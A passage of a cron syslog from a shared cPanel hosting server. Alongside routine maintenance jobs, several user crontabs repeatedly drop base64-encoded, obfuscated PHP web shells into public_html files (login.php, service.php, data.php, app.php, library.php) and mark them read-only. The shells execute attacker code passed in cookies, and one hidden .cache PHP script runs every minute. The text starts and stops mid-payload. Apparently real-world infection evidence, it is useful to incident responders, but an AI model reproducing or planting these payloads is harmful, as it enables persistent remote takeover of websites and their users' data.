gICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:09:01 medusa CROND[6861]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 14:09:01 medusa CROND[6862]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Jun  7 14:09:01 medusa CROND[6863]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 14:09:01 medusa CROND[6868]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Jun  7 14:09:01 medusa CROND[6869]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 14:09:01 medusa CROND[6867]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 14:09:01 medusa CROND[6870]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:09:01 medusa CROND[6872]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:09:01 medusa CROND[6873]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 14:10:02 medusa CROND[8546]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Jun  7 14:10:02 medusa CROND[8547]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 14:10:02 medusa CROND[8548]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Jun  7 14:10:02 medusa CROND[8549]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 14:10:02 medusa CROND[8550]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Jun  7 14:10:02 medusa CROND[8551]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Jun  7 14:10:02 medusa CROND[8552]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Jun  7 14:10:02 medusa CROND[8555]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Jun  7 14:10:02 medusa CROND[8560]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Jun  7 14:10:02 medusa CROND[8559]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 14:10:02 medusa CROND[8565]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Jun  7 14:10:02 medusa CROND[8566]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 14:10:02 medusa CROND[8564]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Jun  7 14:10:02 medusa CROND[8563]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Jun  7 14:10:02 medusa CROND[8568]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:10:02 medusa CROND[8569]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:10:02 medusa CROND[8570]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 14:10:02 medusa CROND[8576]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 14:10:02 medusa CROND[8578]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:10:02 medusa CROND[8579]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:10:02 medusa CROND[8585]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Jun  7 14:10:02 medusa CROND[8572]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 14:10:02 medusa CROND[8583]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Jun  7 14:10:02 medusa CROND[8589]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 14:10:02 medusa CROND[8581]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Jun  7 14:10:02 medusa CROND[8587]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Jun  7 14:10:02 medusa CROND[8590]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Jun  7 14:10:02 medusa CROND[8604]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Jun  7 14:11:01 medusa CROND[10328]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 14:11:02 medusa CROND[10370]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:11:02 medusa CROND[10371]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:11:02 medusa CROND[10372]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 14:11:02 medusa CROND[10374]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXS